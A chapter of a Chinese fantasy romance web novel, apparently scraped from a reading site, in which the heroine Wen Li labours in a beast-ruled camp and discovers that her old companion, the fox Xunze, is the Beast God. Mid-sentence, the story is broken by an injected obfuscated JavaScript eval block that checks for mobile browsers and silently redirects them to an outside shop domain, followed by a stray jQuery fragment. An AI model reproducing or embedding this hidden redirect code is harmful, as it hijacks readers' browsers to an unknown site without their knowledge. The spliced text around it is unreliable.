闻离背着竹筐,迈着轻松的步伐跟着队伍上山,身后的喧杂吵闹与她无关。
山上树很多,的确是能看见凛泉,小小的湖泊如一枚蓝宝石嵌在广袤大地上,云雾笼罩,山峦环抱,有些神秘。
桦树耸立山间,露出光秃秃的枝叉,挺拔的树干上仿若长了许多眼睛,监视着众人。
地上积存着厚厚的枯叶,踩上去刷啦响着。
天上的青鸟辗转徘徊,底下的景色一览无余。
想要在这里逃走,绝无可能。
“快点,别偷懒。”监工的异兽督促道,他还想早点回去呢,别耽误了他接见重明领主。
砍柴的工人们四散分开,挑选着合适的木材。
闻离也跟在后面,隐没在人群之中。
她伫立在一棵白桦树前,树干高挺将近三十米,有一人合抱之粗。
只见她气沉丹田,拎起锈迹斑斑的斧头往树上砍去。
桦树倒下发出巨大的声响,山林中一片惊鸟飞出,树干从根部被砍断。
不,断裂处参差不齐,不像被用斧头砍断,更像是以斧头为着点,暴力折断的。
闻离暗道不好,她收着力了,没想到树干这么脆,只一下便折了。
果不其然,青鸟提高警惕,飞来落下,一双眼睛在闻离身上打转。
他的怀疑不无道理,普通人不可能一下就砍倒这么粗的树,难道是觉醒者?
闻离吐吐舌头,笑道:“我力气大。等下,能多吃几碗饭吗?”说着,她抡起胳膊,展示着不存在的肌肉。
厚厚的衣服下,倒是没看出来什么。
青鸟点头应下,但也没全信,站在树上不停地观望着闻离。
闻离摸着胳膊上的肌肉,有些气恼。重修一遍,纵使她的修为蹭蹭上涨,但是肌肉却再也没练出来过。
她很是怀念以前铜墙铁壁的大肌肉块。
回忆都是泪,闻离叹了一口气,接着去伐木。
有闻离在,本是耗时耗力的活,很快便完成大半。众人合力在天黑之前,得以一人分到一筐木材,背着下山交任务。
而闻离的竹筐,堆得老高,不仅是筐里背着,她还一手拎着一捆木头。
确实用行动证明,她真的只是单纯的力气大。
难民营的原住民都在暗暗感叹,多亏没抢过福子爹生意,才没跟闻离交恶。
生活得久了,大家多少都动了一些歪心思。
不过有一说一,这姑娘看着弱不经风,力气是真大啊。
闻离哼着小调,慢悠悠地往山下走,她感受到契约在隐隐发烫。
他来了。
……
山下的人早已到临,他只静静站在那,便如水墨画般美。
来人眼睛里折射出光芒,凝望着山上,借着飞鸟之眼,穿透山林直直看向一人。
重明跟在他背后问道:“不见她吗?”是谁听他说见到了闻离,就火急火燎地赶了过来,却转眼又改变了主意。
寻泽收回视线,那双幽蓝的眸子里无半分波澜,他做了一个决定。
“不见。”他们现在的距离刚刚好。
院子外面,砍伐工们陆续回来,脸上神情具是沉重。
原来,他们下山之时,有人一脚踩空陷入地洞,腿死死卡出无法拔出。
异兽只是冷眼旁观,不停催促着快些。
闻离也有些无奈,她本不想多管闲事,此刻只想快点回去。
思索着,她倒插斧柄,想要撬开洞口。
不知是卡得太紧还是怎样,那人一直喊疼,让她无从下手。
“误了时间,谁都别想好过。”青鸟催促着,算算时间领主应该到了。
闻离也想见这位亲手被她送走的故人领主。
众人闻言低着头,一言不发的从他们身边经过,谁都不想死。
卡住那人撑着地,有些着急,没有外力帮助他绝对出不去。
他如救命稻草般紧紧抓住闻离,恳切道:“姑娘,救救我。”
闻离正想着对策,并未出言回应。
那人急了,威胁道:“你若是不救我,我就告诉他们你是觉醒者。”虽是没有把握,但八九不离十。
早就听闻,觉醒者在这里,是要被除掉的。
且手段极其残忍,先破开身体取出吸纳的异核,任其血流尽断绝生机。
闻离笑了,声音慵懒,带着丝丝冷意:“你去啊,不知前面的人还能不能听清。”一眼望去,已看不见大部队的踪迹,看来是被断舍离了呢。
她捂着脸反思,应该一开始就说明的,她只是有点善心,但绝非圣母。
“还有啊,你以为他们看不出来吗?我体内并无异核。”闻离眉眼清冷,傍晚的光线有些柔和,打在身上,让人看不真切。
她好心解释道:“你以为异兽会放过杀他们同族之人吗?”
话音落下,闻离抬手点在他大腿上,那条腿瞬间失去知觉,干脆利落地将他拔了出来,早该如此了。
她冷声道:“自己走下去。”说完,头也不回地追下山去。
头上的青鸟并未走远,闻离的一言一行都在他的监视下。
闻离回来时神态自若,众人向她身后望去,并没有看见熟悉的人影,怕是已经遭遇不测,脸上更加沉重。
她并未在意众人责备的目光,将木材垒好,归入队伍。
……
来这里的第一天晚上,在闻离一碗又一碗饭中度过。
青鸟看得目瞪口呆,闻离说得没错,她真的很能吃。
闻离面前垛着的两叠碗挡住了她的脸,却没填饱她的肚子,她消耗的体力急需大量食物填补。
没有充盈的灵力就是不方便,筑基耗费了她大量的灵力。
不过,她现在都到异兽的地盘了,薅点异灵应该不是什么难事吧。
待闻离心满意足放下筷子,摸着吃饱喝足的肚子,想着:不怪她能吃,异兽的碗巴掌大小,怎么能吃得饱。
再看看周围的人,人人都是捧着手里的碗小口吃着。
闻离摇头感叹,一定是他们不敢吃,晚上铁定得挨饿。
她叼着草芥,随手抓了一个人问道:“休息去哪里?”
不巧,她抓到的是熟面孔--青鸟。
青鸟似笑非笑,带着些趣味,“他们倒是可以去休息了,不过你可能有些事。”这么能吃!不给她找点事做,对不起他那些饭!
闻离:???区别对待!
“汤池正在使用,你去添些热水,里面的是你所求。”青鸟安排道,主上来此,他们必须提供最好的服务。
他也没白拿闻离的灵草,所说之人自然是这人类所求见的兽神。
青鸟也不担心,若是她胆敢对兽神动手,怕是要死无葬身之地了。
闻离盯向他身后,好大的木桶,再看向一脸笑眯眯的青鸟。
她撸起袖子,有时候真想一拳轰炸这里。
她能吃一点怎么了?能吃是福。
闻离回味着青鸟的话,她所求?兽神?他们那个凶残暴力的上位者。
她只是随口一说,若说实话,那便是能杀就杀,留着也是祸害。
兽神她想杀,寻泽她也相见,报酬也有点想要!
闻离灵光一闪问道:“这算额外的工作吧。”
青鸟带着笑意回答:“这不是你所求吗?况且,报酬也是有的。”
闻离听到后半句,真有报酬?
她摇头问道:“我当然是免费的啦,只需要一句轻飘飘的感谢。”说完,满是期待的望向青鸟。
这话让青鸟有些摸不着头脑,他迟疑的说道:“不要银子?听我说,谢谢你?”
只见闻离点点头,待青鸟说完,并没有她期待的事情发生。
闻离有些不满地拎起木桶就要走,“往哪走?”
青鸟抬手指着方向,有些不解,这人类好生奇怪。
他本不想把这样好的机会给闻离的,但重明领主点名要这人类去给主上换水。
青鸟有些摸不着头脑,难道这人类神通广大到连重明领主也贿赂了?
闻离抬着水往汤池走去。
她伸手试了试提着的水,嘶,好烫。
这是给兽神烫毛下锅的水吧。
穿过屋院,汤池竟是露天的,挖在后山石壁上。清澈的水从地底涌出,氤氲着热气,雾水缭绕在空气中。
透过水汽,露出一个人影。
若是击杀了兽神,是不是意味着她与寻泽直接彻底决裂,再无可能和好。
神吗?若是这神掀起战争,为祸四方,她倒想弑神。
打定主意,闻离捏着噬灵悄悄靠近。
纱幔吹起,闻离看清那人她的心跳慢了半分,那人满头银丝飘在水中,露出的背影纤细匀称,小腹的线条流畅,覆着薄肌,容颜在雾气中若隐若现,看得有些不真切。
但闻离认出,那是她的小狐狸啊。
没等她多看,一根尾巴从水中拢出,又一根。一根又一根的尾巴把身影挡得严严实实。
闻离歪着头,换个角度也看不见。
这里不是她所求吗?所求……
是她不愿意相信,她的小狐狸就是兽神。
明明一切迹象都那么明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036689|148885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
显。
寻泽四处寻找助力收复兽族,重明都是领主了,寻泽怎么可能也是领主。
答案就在眼前。
闻离却无法下手,那是她的命啊。
她的心在一抽一抽得疼,原来这就是他的秘密吗。
大家都知道,只她一人,不知。
回头看去,底下的人不见了踪影。
眨眼之间,消失的人出现在她面前,一手摁住她的脖颈。
噬灵同样抵在他心口上。
他的面容冷峻,凌乱的发梢上滴着水,只一件里衣披在身上,水滴顺着锁骨留下,湿答答的薄纱透着肉色,衣下一览无余。
五年了,她的小狐狸长开了,身形抽条,都比她高了。
闻离一动未动,挑衅笑道:“动手啊。”
寻泽丝毫没有迟疑,上前一步噬灵的刀尖插入心口,贪婪地吸食着他的血。
闻离颤抖了一下,噬灵顺应着心意转瞬消失不见。
她摸索着看去,里衣被刺穿了一个洞,其下却是没有半点伤痕。
闻离摸着自己的心口,松了一口气,噬灵取之于他,竟不会在他身上留下伤口。
寻泽抬手环住她,撩起衣服在小臂上面狠狠咬了一口。
铁锈味传遍口腔,留下来一个深深的牙印。这不是他第一次这么做了。
闻离时常让他受伤,族中又危机重重,他不能示弱。
难熬的时候常常咬住胳膊,直至昏厥。
闻离面不改色的望向前方,她习惯了并不算疼。
寻泽似是不过瘾,松口咬在她脖子上。
尖牙闪过寒光,咬住敌人的咽喉,便可一击致命。
闻离知他不会,任由杀意蔓延冻住周身。
她微微一笑道:“不请我叙叙旧吗?兽神。”只她一个人被蒙在鼓里,真令人恼火呢。
寻泽冷哼一声,敛起衣服,赤脚走进屋内。
门没关,闻离心领神会的跟着进去。
只见他坐在塌上,毛巾搭在手边。
闻离上前去自然接过毛巾,握着他柔软华顺的发梢,细细擦拭。
好久没有给她的小狐狸顺顺毛了。
“你可以滥杀无辜?”叙旧不急于一时,她想先确认一件事。
“并无。”声音清清冷冷的,带着丝恼怒。
得到确切答案,闻离反倒有些恍。
这五年里有些不真切,仿若她只是游离在这世界之外的人。
见到寻泽那一刻,方才有了些羁绊,冥冥之中有什么将她联系在这里。
闻离摸着他的发丝,编着小辫子,就如往常一般,她的手艺依旧没有长进,发丝杂乱,编得乱七八糟。
“你来这里干什么?”寻泽冷冷出言,五年前打断了他的腿,把他送走,将人狠狠抛弃,如今又送上门来。
闻离勾着唇角,话语在舌尖绕转,“我想见你。”可惜,她想见到不是兽神寻泽。
她的话,他一个字也不信。
“你不必来,这里是兽族幼崽养育的地方,那些人来了还能活,若一直呆在那里,是活不久的。我也只杀该杀之人。”遇上他还好,若是遇上其他势力的异兽,什么下场不比他多说。
就如她那般,他只杀该杀的异兽。
寻泽主动开口解释,而后他缓缓道:“你走吧,这里不欢迎你。”
说罢,他从闻离手中将发丝抽出,别开脸不去看她。
闻离看不清他的容颜,也是,五年过去了。他们都变了。
烛光炸灭,一时间房间昏暗。
只留喘息声。
“重明领主,不好了!”青鸟急匆匆赶来,身上的羽翼凌乱,好不狼狈。
重明捧着琉璃珠子,细细观看着里面道:“何事?”
“主上不见了。”青鸟脱口而出,他刚刚去给主上送衣物,汤池那里空无一人。
重明瞪大眼睛,端详着珠子里发妻的睡颜,不紧不慢道:“无事。”给寻泽白打工这几年,他已经摸清了这位主上的性子,才不相信面白心黑之人会有什么危险。
青鸟皱着一张脸,继续道:“还有一个人类……也不见了。”说来也是奇怪,那人竟凭空失踪了。
“哦。”重明点点头表示知道了,倒也不奇怪。
他抬手抱住从珠子里出来的人,还是夫人香香的。
寻泽事后得好好谢谢他。
既然主上走了,他留在这里也无趣。
重明牵着羽颜,眸中含着清泉,倒映出绝世美人的身影。
他细致地为她披上羽翼,两人携手展翅翱翔,顺着风扬长而去。